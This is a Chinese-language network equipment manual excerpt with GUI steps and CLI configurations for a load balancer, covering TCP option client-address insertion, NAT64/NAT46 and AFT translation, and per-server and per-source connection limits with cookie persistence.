· TCP类型的虚服务需要配置服务端口号(配置具体的服务端口号,不能为0),并打开七层负载分担功能。
· 配置TCP类型的参数模板,使number为28的TCP Option中插入真实的客户端源地址,以及清除TCP Option中number为8的时间戳选项。
· 同时支持七层HTTP类型的虚服务。
以下配置均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图6-252 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>全局配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址池名称为snat_1.1.1.11,起始IP地址是1.1.1.11,结束IP地址是1.1.1.11,如下图所示。
图6-253 创建源地址池
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择t1,如下图所示。
图6-254 添加实服务组
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
在成员列表一栏选择添加,实服务器名称为rs1,实服务器IP地址为192.168.1.1,如下图所示。
图6-255 添加实服务器信息
单击<确定>按钮,完成操作。
创建rs2、rs3与创建rs1步骤相同。
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs,类型选择TCP,地址为61.159.4.100/32,端口号为80,选择七层负载分担模式,并开启虚服务功能,如下图所示。
图6-256 新建虚服务器
单击<确定>,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,点击<编辑>进入实服务组页面,查看成员列表一栏
图6-257 实服务组成员列表
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面
图6-258 实服务组列表
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面
图6-259 虚服务列表
在导航栏中选择“监控>应用负载均衡>虚服务器统计”,进入虚服务统计页面
图6-260 虚服务器统计页面
在导航栏中选择“监控>应用负载均衡>实服务器统计”,进入实服务统计页面
图6-261 实服务器统计页面
图6-262 客户端抓包报文分析
图6-263 实服务器抓包报文分析
在服务器端可以看到报文number为28的TCP Option中插入真实的客户端源地址,如下图所示。
图6-264 服务器端插入真实的客户端源地址
在服务器端的报文中清除TCP Option中number为8的时间戳选项,如下图所示。
图6-265 服务器端清除了时间戳选项
下图为没有清除时间戳选项的情况来做对比说明
图6-266 服务器端没有清除时间戳选项的情况
#
nqa template icmp t1
#
real-server rs1
ip address 192.168.1.1
success-criteria at-least 1
#
real-server rs2
ip address 192.168.1.2
success-criteria at-least 1
#
real-server rs3
ip address 192.168.1.3
success-criteria at-least 1
#
server-farm sf1
predictor hash address source
snat-pool snat_1.1.1.11
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
real-server rs3 port 0
success-criteria at-least 1
#
loadbalance snat-pool snat_1.1.1.11
ip range start 1.1.1.11 end 1.1.1.11
#
virtual-server vs type tcp
port 80
virtual ip address 61.159.4.100
parameter tcp tcp_option client-side
parameter tcp tcp_option server-side
default server-farm sf1
connection-sync enable
sticky-sync enable
application-mode enable
service enable
#
parameter-profile tcp_option type tcp
tcp option remove 8
tcp option insert 28 src-addr
#
实现IPv4和IPv6的网络互通,用IPv4的地址访问IPv6的服务器,或者用IPv6的地址访问IPv4的服务器,并在LB设备上查看nat64和nat46的会话日志。如图所示,为实现客户端IPv4地址访问IPv6地址的服务器,LB设备上配置IPv6地址的snat地址池,Host通过IPv4地址的LB虚服务IP,发起对IPv6地址的服务器的访问,并在LB设备上查看nat46的会话日志。为实现客户端IPv6地址访问IPv4地址的服务器,LB设备上配置IPv4地址的snat地址池,Host通过IPv6地址的LB虚服务IP,发起对IPv4地址的服务器的访问,并在LB设备上查看nat64的会话日志。
图7-1 NAT64配置组网图
为实现NAT64功能,需要在LB设备上完成如下配置:
· 分别配置nat64和nat46的源地址池
· 客户端IPv4地址访问server端IPv6地址服务器
· 客户端IPv6地址访问server端IPv4地址服务器
· LB设备配置nat日志功能
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 虚服务器地址与snat-pool的匹配
· NAT 64只支持HTTP类型虚服务
· 举例版本不支持web配置nat日志,使用命令行配置
在导航栏中选择“网络>接口>接口”,进入接口配置页面。
单击<新建接口>,添加类型为三层聚合接口,聚合组编号为1,如下图所示
图7-2 添加三层聚合口
点击<确定>,修改接口设置,如下图所示。
在导航栏中选择“网络>接口>接口”,进入接口页面。
单击新建接口,选择三层聚合子接口,父接口为RAGG1,子接口编号为10,如下图所示。
图7-3 创建子接口
子接口创建后,在接口列表内该子接口右侧点击<编辑>按钮,修改接口设置,修改IP地址/掩码为10.0.0.1掩码255.255.255.0,VLAN终结设置Dot1q终结,方式为精确终结,值为10。
图7-4 修改IP地址/掩码
图7-5 修改IPv6地址
图7-6 VLAN终结设置
重复上述步骤创建子接口,选择接口为RAGG1,子接口编号为20,子接口创建后,在接口列表内该子接口右侧点击编辑按钮,修改接口设置,修改IPv4地址/掩码为7.0.0.1掩码255.255.255.0,修改IPv6地址为7::1,前缀长度为64,VLAN终结设置Dot1q终结,方式为精确终结,值为20。
在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址池名称为snat1,如下图所示。
图7-7 添加源IPv4地址池信息
单击<确定>,完成操作。
添加snat2步骤与snat1相同,snat2配置信息如下图所示。
图7-8 添加源IPv6地址池信息
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图7-9 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>按钮,添加实服务组名称为sf1、sf2分别绑定地址池snat1、snat2,调度算法为源IP地址哈希,健康性检测选择t1的实服务组,如下图所示。
图7-10 添加实服务组sf1
图7-11 添加实服务组sf2
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IPv4地址为7.0.0.2,如下图所示。
图7-12 添加实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs2与rs1步骤相同
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,添加实服务组成员,参照上图创建实服务器rs2,配置其IPv4地址为7.0.0.3。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf2,点击添加成员列表,新建实服务器名称为rs11,实服务器IPv6地址为7::2,如下图所示。
图7-13 添加IPv6地址的实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs12与rs11步骤相同
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf2,添加实服务组成员,参照上图创建实服务器rs12,配置其IPv6地址为7::3。
创建HTTP类型的虚服务器vs1,配置其VSIP为200::1,并开启虚服务。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs1、vs2,分别设置虚服务器IP地址为200::1和61.159.4.100,并分别绑定实服务组sf1、sf2,类型选择HTTP,并开启虚服务,如下图所示。
图7-14 新建虚服务器vs1
图7-15 新建虚服务器vs2
点击<确定>,完成操作。
目前LB设备暂不支持web界面开启nat日志功能,使用命令行进行举例.
[Sysname] loadbalance log enable nat
[Sysname] userlog flow syslog
在“监控—设备日志—系统日志”中,查看nat64的session信息:
在“监控—设备日志—系统日志”中,查看nat46的session信息:
#
vlan 10 20
#
interface GigabitEthernet1/1/4
port link-mode bridge
port link-type trunk
port trunk permit vlan 1 10 20
port link-aggregation group 1
#
interface GigabitEthernet1/1/6
port link-mode bridge
port access vlan 10
#
interface GigabitEthernet1/1/7
port link-mode bridge
port access vlan 20
#
#
interface Ten-GigabitEthernet1/1/4
port link-mode route
port link-aggregation group 1
#
interface Route-Aggregation1
#
interface Route-Aggregation1.10
ip address 10.0.0.1 255.255.255.0
ipv6 address 300::1/64
vlan-type dot1q vid 10
#
interface Route-Aggregation1.20
ip address 7.0.0.1 255.255.255.0
ipv6 address 7::1/64
vlan-type dot1q vid 20
#
nqa template icmp t1
#
loadbalance snat-pool snat1
ip range start 7.0.0.1 end 7.0.0.1
#
loadbalance snat-pool snat2
ipv6 range start 7::1 end 7::1
#
server-farm sf1
predictor hash address source
snat-pool snat1
probe t1
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
#
server-farm sf2
predictor hash address source
snat-pool snat2
probe t1
success-criteria at-least 1
real-server rs11 port 0
success-criteria at-least 1
real-server rs12 port 0
success-criteria at-least 1
#
real-server rs1
ip address 7.0.0.2
#
real-server rs2
ip address 7.0.0.3
#
real-server rs11
ipv6 address 7::2
#
real-server rs12
ipv6 address 7::3
#
virtual-server vs1 type http
virtual ipv6 address 200::1
default server-farm sf1
service enable
#
virtual-server vs2 type http
virtual ip address 61.159.4.100
default server-farm sf2
service enable
#
loadbalance log enable nat
#
userlog flow syslog
#
随着计算机普及和互联网的快速发展,越来越多的人开始使用网络,ipv4使用32位地址,因此地址空间中只有4,294,967,296(2的32次方)个地址, IPv4最大的问题在于网络地址资源有限,严重制约了互联网的应用和发展。ipv6的使用,不仅能解决网络地址资源数量的问题,而且也解决了多种接入设备连入互联网的障碍,在相当长的一段时间内,ipv4和ipv6将共存 ,需要IPv4和IPv6的网络互通,用IPv4的地址访问IPv6的服务器,或者用IPv6的地址访问IPv4的服务器。ipv4用户10.0.0.2能访问ipv6的http服务器7::2/7::3,ipv6的用户300::2访问ipv4的HTTP服务器7.0.0.2/7.0.0.3。
图7-16 NAT64配置组网图
为实现四层的NAT64功能,需要在LB设备上完成如下配置:
· 在TCP类型的虚服务器下,负载分担模式选择七层
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 实服务组引用源地址池。
· 在TCP类型的虚服务器下,负载分担模式选择七层。
· TCP类型的虚服务器下端口非0,要配置具体的端口值。
· 不支持多通道的协议,例如ftp。
在导航栏中选择“策略>公共配置>源地址池”,进入源地址池页面。
单击<新建>,添加源地址池名称为snat_v4,如下图所示。
图7-17 添加源IPv4地址池信息
单击<确定>,完成操作。
添加snat_v6步骤与snat_v4相同,snat_v6配置信息如下图所示。
图7-18 添加源IPv6地址池信息
(1) 创建ICMP类型的NQA模板icmp。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为icmp,类型为ICMP的健康检测模板,如下图所示。
图7-19 添加健康检测模板
单击<确定>按钮,完成操作。
(2) 创建实服务组sf1、sf2,并指定其健康检测方法为icmp。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>按钮,添加实服务组名称为sf1、sf2分别绑定地址池snat_v4、snat_v6,调度算法为源IP地址哈希,健康性检测选择icmp的实服务组,如下图所示。
图7-20 添加实服务组sf1
图7-21 添加实服务组sf2
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IPv4地址为7.0.0.2,如下图所示。
图7-22 添加实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs2与rs1步骤相同
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,添加实服务组成员,参照上图创建实服务器rs2,配置其IPv4地址为7.0.0.3。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf2,点击添加成员列表,新建实服务器名称为rs11,实服务器IPv6地址为7::2,如下图所示。
图7-23 添加IPv6地址的实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs12与rs11步骤相同
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf2,添加实服务组成员,参照上图创建实服务器rs12,配置其IPv6地址为7::3。
创建TCP类型的虚服务器vs_v6,配置其VSIP为200::1,并开启虚服务。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs_v6、vs_v4,分别设置虚服务器IP地址为200::1和61.159.4.100,并分别绑定实服务组sf1、sf2,类型选择TCP,虚服务器端口号为80,负载分担模式为七层,并开启虚服务,如下图所示。
图7-24 新建虚服务器vs_v6
图7-25 新建虚服务器vs_v4
点击<确定>,完成操作。
查看负载均衡会话
#
nqa template icmp icmp
#
loadbalance snat-pool snat_v6
ipv6 range start 7::1 end 7::1
#
loadbalance snat-pool snat_v4
ip range start 7.0.0.1 end 7.0.0.1
#
server-farm sf1
predictor hash address source
snat-pool snat_v4
probe icmp
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
#
server-farm sf2
predictor hash address source
snat-pool snat_v6
probe icmp
success-criteria at-least 1
real-server rs11 port 0
success-criteria at-least 1
real-server rs12 port 0
success-criteria at-least 1
#
real-server rs1
ip address 7.0.0.2
#
real-server rs11
ipv6 address 7::2
#
real-server rs12
ipv6 address 7::3
#
real-server rs2
ip address 7.0.0.3
#
virtual-server vs_v6 type tcp
port 80
virtual ipv6 address 200::1
default server-farm sf1
application-mode enable
service enable
#
virtual-server vs_v4 type tcp
port 80
virtual ip address 61.159.4.100
default server-farm sf2
application-mode enable
service enable
#
随着计算机普及和互联网的快速发展,越来越多的人开始使用网络,IPv4使用32位地址,最大的问题在于网络地址资源有限,严重制约了互联网的应用和发展。ipv6的使用,不仅能解决网络地址资源数量的问题,而且也解决了多种接入设备连入互联网的障碍,在相当长的一段时间内,ipv4和ipv6将共存 ,需要IPv4和IPv6的网络互通,用IPv4的地址访问IPv6的服务器,或者用IPv6的地址访问IPv4的服务器。Internet上的服务器升级到了IPv6,某公司内部的ipv4用户10.0.0.0/24能访问ipv6的ftp服务器7::2/7::3。
图7-26 NAT64配置组网图
为实现NAT64功能,需要在LB设备上完成如下配置:
· 配置IPv6到IPv4的源地址静态转换策略,用于将报文的目的地址转换为IPv6地址。
· 配置NAT64前缀将报文源IPv4地址转换为IPv6地址。
· 配置IPv4到IPv6源地址动态转换策略,将匹配允许的源地址根据NAT64前缀转换为IPv6地址。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 接口下使能AFT
· 用NAT64前缀或General前缀之前,需要先进行NAT64前缀或General前缀的配置,转换策略才能生效。
· 虚服务器下开启发布路由。
· 虚服务器下必须配置具体的IP,不能是网段。
· 仅四层支持LB和AFT组合使用。
· AFT转换必须有目的地址为转换后地址的路由,才能进行正常的AFT转换。
在导航栏中选择“网络>AFT”,进入接口设置页面。
勾选使用的接口,开启
图7-27 接口开启AFT
图7-28 接口开启AFT后查看
(1) 配置ACL 2000,仅允许IPv4网络中10.0.0.0/24网段的用户访问IPv6的internet
在导航栏中选择“对象>ACL>IPv4”,进入ACL页面。
单击<新建>,创建基本ACL 2000,添加两条规则,允许10.0.0.0/24,其余则拒绝。
图7-29 创建ACL
(2) 配置NAT64前缀,此前缀将在ipv4到ipv6的源地址动态转换策略中被调用,将报文的源地址转换为ipv6地址
在导航栏中选择“网络>AFT>NAT64前缀”,进入NAT64前缀页面。
图7-30 配置NAT64前缀
(3) 配置IPv4到IPv6源地址动态转换策略,将匹配ACL 2000报文的源地址根据NAT64前缀转换为IPv6地址
[sysname] aft v4tov6 source acl number 2000 prefix-nat64 2018:: 96
(4) 配置IPv6到IPv4的源地址静态转换策略,用于将报文的目的地址转换为IPv6地址
[sysname] aft v6tov4 source 200::1 61.232.0.2
(1) 创建ICMP类型的NQA模板icmp。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为icmp,类型为ICMP的健康检测模板,如下图所示。
图7-31 添加健康检测模板
单击<确定>按钮,完成操作。
(2) 创建实服务组sf2,并指定其健康检测方法为icmp。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>按钮,添加实服务组名称为sf2,调度算法为源IP地址哈希,健康性检测选择icmp的实服务组,如下图所示。
图7-32 添加实服务组sf2
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf2,点击添加成员列表,新建实服务器名称为rs11,实服务器IPv6地址为7::2,如下图所示。
图7-33 添加IPv6地址的实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs12与rs11步骤相同
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf2,添加实服务组成员,参照上图创建实服务器rs12,配置其IPv6地址为7::3。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs_v6,类型选择TCP,分别设置虚服务器IP地址为200::1,并分别绑定实服务组sf2,开启响应ARP,并开启虚服务,如下图所示。
图7-34 新建虚服务器vs_v6
查看AFT会话,可以看到创建了一个IPv4会话和IPv6会话,分别对应着转换前后的报文
[sysname]display aft session ipv4 verbose
Slot 1:
Initiator:
Source IP/port: 10.0.0.2/56360
Destination IP/port: 61.232.0.2/21
DS-Lite tunnel peer: -
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.10
Responder:
Source IP/port: 61.232.0.2/21
Destination IP/port: 10.0.0.2/56360
DS-Lite tunnel peer: -
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.20
State: TCP_ESTABLISHED
Application: FTP
Rule ID: -/-/-
Rule name:
Start time: 2020-04-17 10:19:19 TTL: 3593s
Initiator->Responder: 11 packets 514 bytes
Responder->Initiator: 11 packets 654 bytes
Total sessions found: 1
[sysname]dis aft session ipv6 verbose
Slot 1:
Initiator:
Source IP/port: 2018::A00:2/56360
Destination IP/port: 200::1/21
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.10
Responder:
Source IP/port: 7::3/21
Destination IP/port: 2018::A00:2/56360
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.20
State: TCP_ESTABLISHED
Application: FTP
Rule ID: -/-/-
Rule name:
Start time: 2020-04-17 10:19:19 TTL: 3588s
Initiator->Responder: 11 packets 739 bytes
Responder->Initiator: 11 packets 874 bytes
Total sessions found: 1
#
interface Route-Aggregation1.10
ip address 10.0.0.1 255.255.255.0
aft enable
vlan-type dot1q vid 10
#
interface Route-Aggregation1.20
aft enable
vlan-type dot1q vid 20
ipv6 address 7::1/64
#
#
nqa template icmp icmp
#
acl basic 2000
rule 0 permit source 10.0.0.0 0.0.0.255
rule 5 deny
#
aft prefix-nat64 2018:: 96
#
aft v6tov4 source 200::1 61.232.0.2
#
aft v4tov6 source acl number 2000 prefix-nat64 2018:: 96
#
server-farm sf2
predictor hash address source
probe icmp
success-criteria at-least 1
real-server rs11 port 0
success-criteria at-least 1
real-server rs12 port 0
success-criteria at-least 1
#
real-server rs11
ipv6 address 7::2
#
real-server rs12
ipv6 address 7::3
#
virtual-server vs_v6 type tcp
virtual ipv6 address 200::1
default server-farm sf2
route-advertisement enable
service enable
#
随着计算机普及和互联网的快速发展,越来越多的人开始使用网络,IPv4使用32位地址,最大的问题在于网络地址资源有限,严重制约了互联网的应用和发展。ipv6的使用,不仅能解决网络地址资源数量的问题,而且也解决了多种接入设备连入互联网的障碍,在相当长的一段时间内,ipv4和ipv6将共存 ,需要IPv4和IPv6的网络互通,用IPv4的地址访问IPv6的服务器,或者用IPv6的地址访问IPv4的服务器。
Internet已经升级到了IPv6,但是某公司内部网络仍然是IPv4网络。而该公司仍希望为IPv6 Internet内的用户提供FTP服务。该公司访问IPv6 Internet使用的IPv6地址为300::2。
图7-35 NAT64配置组网图
为实现NAT64功能,需要在LB设备上完成如下配置:
· 通过IPv4到IPv6源地址静态转换策略,为IPv4网络中的FTP服务器地址指定一个对应的IPv6地址,IPv6 Internet中的主机通过访问该IPv6地址可以访问IPv4网络中的FTP服务器。设备收到发往该IPv6地址的报文时将其目的地址转换为对应的IPv4地址。
· 通过IPv6到IPv4源地址动态转换策略,将IPv6 Internet发送过来的IPv6报文源地址转换为IPv4地址7.0.0.200、 7.0.0.201。
本举例是在L5060的Ess 8516P13版本上进行配置和验证的。
· 接口下使能AFT.
· 用NAT64前缀或General前缀之前,需要先进行NAT64前缀或General前缀的配置,转换策略才能生效。
· 虚服务器下开启发布路由。
· 虚服务器下必须配置具体的IP,不能是网段。
· 仅四层支持LB和AFT组合使用。
· AFT转换必须有目的地址为转换后地址的路由,才能进行正常的AFT转换。
在导航栏中选择“网络>AFT”,进入接口设置页面。
勾选使用的接口,开启
图7-36 接口开启AFT
图7-37 接口开启AFT后查看
(1) 配置IPv6 ACL 2000,仅允许IPv6网络中300:: 64网段的用户访问IPv6的internet
在导航栏中选择“对象>ACL>IPv6”,进入ACL页面。
单击<新建>,创建基本ACL 2000,添加两条规则,允许300:: 64,其余则拒绝。
图7-38 新建ACL
(2) 配置NAT64前缀,报文的目的地址根据该NAT64前缀转换为IPv4地址
在导航栏中选择“网络>AFT>NAT64前缀”,进入NAT64前缀页面。
图7-39 配置NAT64前缀
(3) 配置AFT地址组
在导航栏中选择“网络>AFT”,进入AFT地址组页面,<新建>
图7-40 配置AFT地址组
(4) 配置IPv4到IPv6源地址动态转换策略,将匹配ACL 2000报文的源地址根据NAT64前缀转换为IPv6地址
[sysname] aft v6tov4 source acl ipv6 number 2000 address-group 0
(1) 创建ICMP类型的NQA模板icmp。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为icmp,类型为ICMP的健康检测模板,如下图所示。
图7-41 添加健康检测模板
单击<确定>按钮,完成操作。
(2) 创建实服务组sf1,并指定其健康检测方法为icmp。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>按钮,添加实服务组名称为sf1,调度算法为源IP地址哈希,健康性检测选择icmp的实服务组,如下图所示。
图7-42 添加实服务组sf1
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
编辑实服务组sf1,点击添加成员列表,新建实服务器名称为rs1,实服务器IPv4地址为7.0.0.2,如下图所示。
图7-43 添加实服务器信息
单击<确定>按钮,完成操作。
创建实服务器rs2与rs1步骤相同
在导航栏中选择“策略>应用负载均衡>实服务组”,编辑实服务组sf1,添加实服务组成员,参照上图创建实服务器rs2,配置其IPv4地址为7.0.0.3。
在导航栏中选择“策略>应用负载均衡>虚服务器”,进入虚服务器页面。
单击<新建>,添加虚服务器名称为vs_v4,类型选择TCP,分别设置虚服务器IP地址为61.159.4.100,并分别绑定实服务组sf1,开启响应ARP,并开启虚服务,如下图所示。
图7-44 新建虚服务器vs_v4
点击<确定>,完成操作。
查看AFT会话,可以看到创建了一个IPv6会话和IPv4会话,分别对应着转换前后的报文
<sysname>display aft session ipv6 verbose
Slot 1:
Initiator:
Source IP/port: 300::3/12486
Destination IP/port: 2018::3D9F:464/21
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.10
Responder:
Source IP/port: 2018::3D9F:464/21
Destination IP/port: 300::3/12486
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.20
State: TCP_ESTABLISHED
Application: FTP
Rule ID: -/-/-
Rule name:
Start time: 2020-04-17 16:05:32 TTL: 3594s
Initiator->Responder: 16 packets 1219 bytes
Responder->Initiator: 15 packets 1358 bytes
Total sessions found: 1
<sysname> display aft session ipv4 verbose
Slot 1:
Initiator:
Source IP/port: 7.0.0.201/1025
Destination IP/port: 61.159.4.100/21
DS-Lite tunnel peer: -
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.10
Responder:
Source IP/port: 7.0.0.2/21
Destination IP/port: 7.0.0.201/1025
DS-Lite tunnel peer: -
VPN instance/VLAN ID/Inline ID: -/-/-
Protocol: TCP(6)
Inbound interface: Route-Aggregation1.20
State: TCP_ESTABLISHED
Application: FTP
Rule ID: -/-/-
Rule name:
Start time: 2020-04-17 16:05:32 TTL: 3587s
Initiator->Responder: 16 packets 899 bytes
Responder->Initiator: 15 packets 1059 bytes
Total sessions found: 1
#
interface Route-Aggregation1.10
aft enable
vlan-type dot1q vid 10
ipv6 address 300::1/64
#
interface Route-Aggregation1.20
ip address 7.0.0.1 255.255.255.0
aft enable
vlan-type dot1q vid 20
#
nqa template icmp icmp
#
acl ipv6 basic 2000
rule 0 permit source 300::/64
rule 5 deny
#
aft address-group 0
address 7.0.0.200 7.0.0.201
#
aft prefix-nat64 2018:: 96
#
aft v6tov4 source acl ipv6 number 2000 address-group 0
#
server-farm sf1
predictor hash address source
probe icmp
success-criteria at-least 1
real-server rs1 port 0
success-criteria at-least 1
real-server rs2 port 0
success-criteria at-least 1
#
real-server rs1
ip address 7.0.0.2
#
real-server rs2
ip address 7.0.0.3
#
virtual-server vs_v4 type tcp
virtual ip address 61.159.4.100
default server-farm sf1
route-advertisement enable
service enable
#
通信过程中,有时部分服务器处理能力有限,分配大量连接会导致网络拥堵,因此需要限制这些服务器的连接数,为其设置上限,当这些服务器的连接数达到上限时,不再为这些服务器分配连接。同时,有些源地址可能发起大量的连接占用网络资源,导致其他地址用户无法访问,需要对这些地址的连接数进行限制。由于业务需要,要保证携带了某个Cookie字段的客户访问的连接数分发到同一服务器,且连接数不被限制。如下图,Host通过LB设备对3台服务器进行访问。三台服务器Server A、Server B和Server C均可提供HTTP服务,Host访问服务器的流量会在三台服务器之间负载分担,对服务器Server A的连接数进行限制,使其不超过200,对网段10.0.0.16/28发起的连接数进行限制,保证每个地址发起的连接不超过10个。当客户端携带了特定Cookie值时,连接被分配到服务器Server A,且连接数不被限制
图8-1 连接数限制组网图
为了实现连接数限制功能,需要在LB设备上完成如下配置:
· 配置实服务组,实服务器
· 配置连接数限制策略,限制某一网段每个地址的连接数不超过10
· 配置基于Cookie插入的持续性组,并关闭受连接数限制功能
· 配置虚服务,引用实服务组、持续性组和连接数限制策略
本举例是在L1000-AK390,的Ess 1101P13版本上进行配置和验证的。
· 续性组要关闭受连接数限制功能
· 基于Cookie的会话保持,客户端携带的Cookie要与需要分配到的实服务器的Cookie一致,可以通过命令行查看
· 连接数限制策略规则,限制依据要勾选源地址和目的地址
以下验证过程均在LB设备上进行。
在导航栏中选择“对象>健康检测”,进入健康检测模板页面。
单击<新建>,添加健康模板名称为t1,类型为ICMP的健康检测模板,如下图所示。
图8-2 添加健康检测模板
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>实服务组”,进入实服务组页面。
单击<新建>,添加实服务组名称为sf,调度算法为源IP地址哈希,健康性检测选择t1,如下图所示。
图8-3 添加实服务组sf,并选择健康检测t1
在导航栏中选择“策略>应用负载均衡>实服务器组”,进入实服务器组页面。
选择编辑实服务组sf,在成员列表一栏添加实服务器,实服务器IP地址为192.168.1.1,最大连接数位200,如下图所示。
图8-4 添加实服组成员
单击<确定>按钮,完成操作。
创建rs2、rs3与rs1步骤相同,rs2、rs3不配置最大连接数。
# 添加实服务组sf成员实服务器rs2,配置其IPv4地址为192.168.1.2。
# 添加实服务组sf成员实服务器rs3,配置其IPv4地址为192.168.1.3。
在导航栏中选择“策略>全局配置>持续性组”,点击<新建>:持续性组名称为cookie,类型为HTTP-Cookie,Cookie持续性方法为Cookie插入,Cookie名称为X-LB,关闭<受连接数限制>,如下图所示。
图8-5 新建持续性组cookie
单击<确定>按钮,完成操作。
在导航栏中选择“对象>ACL>IPv4”,点击<新建>:类型为高级,编号为3001如下图所示。
图8-6 新建高级ACL规则3001
单击<确定>按钮,弹出新建ACL规则,添加ACL匹配规则,匹配条件勾选择匹配源IP地址/通配符掩码和匹配目的IP地址/通配符掩码,源IP地址/通配符掩码为10.0.0.16/0.0.0.15,目的IP地址/通配符掩码为61.159.4.100/0.0.0.0,勾选<开启本规则的统计计数功能>,去勾选<继续添加下一条规则>如下图所示。
图8-7 新建高级ACL3001的匹配规则
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>高级策略>连接数限制策略”进入连接数限制策略页面。
单击<新建>,添加连接数限制策略名称为lp-1的连接数限制策略,如下图所示。
图8-8 添加连接数限制策略
单击<确定>按钮,完成操作。
在导航栏中选择“策略>应用负载均衡>高级策略>连接数限制策略”,进入连接数限制策略页面。
选择编辑连接数限制策略lp-1,在限制规则一栏点击<新建>添加规则,类型为IPv4 ACL,ACL选择3001,限制依据勾选<源地址>和<目的地址>,连接数范围上限和下限都为10如下图所示。
图8-9 添加限制规则
单击<确定>按钮,完成操作。
#配置HTTP类型的虚服务vs,端口为80
在导航栏中选择“策略>应用负载均衡>虚服务器”,新建虚服务器名称为vs,类型为HTTP,IP为61.159.4.100,端口号为80,实服务组为sf, 实服务组的持续性为cookie,连接数限制策略为lp-1,并开启虚服务,单击<确定>。
图8-10 新建虚服务器
点击<确定>,完成操作。
可在验证前先清理实服务器的统计数据,以免干扰判断,清理后,再打流量,进行验证。
在导航栏中选择“监控>应用负载均衡>实服务器统计”,单击<详细>,进入实服务器成员统计页面,全选之后,单击<清除>。
100个地址不包含连接数限制策略限制的地址段,向虚服务发起3000个连接,实服务器Sever A的连接数为200,服务器Sever B的连接数约为1400,服务器Sever C的连接数约为1400.,没有失败。
导航栏中选择“监控>应用负载均衡>实服务器统计”,如下图所示。
统计结果为,rs1最大并发数为200,rs2和rs3最大连接数都约为1400,如下图所示。
图8-11 实服务器统计结果
清除虚服务器和实服务器统计,100个源地址访问虚服务,100个地址包含连接数限制策略限制的地址段,发起3000个连接,实服务器Sever A的连接数为200,服务器Sever B的连接数略小于1240,服务器Sever C的连接数略小于1240.,约320个失败
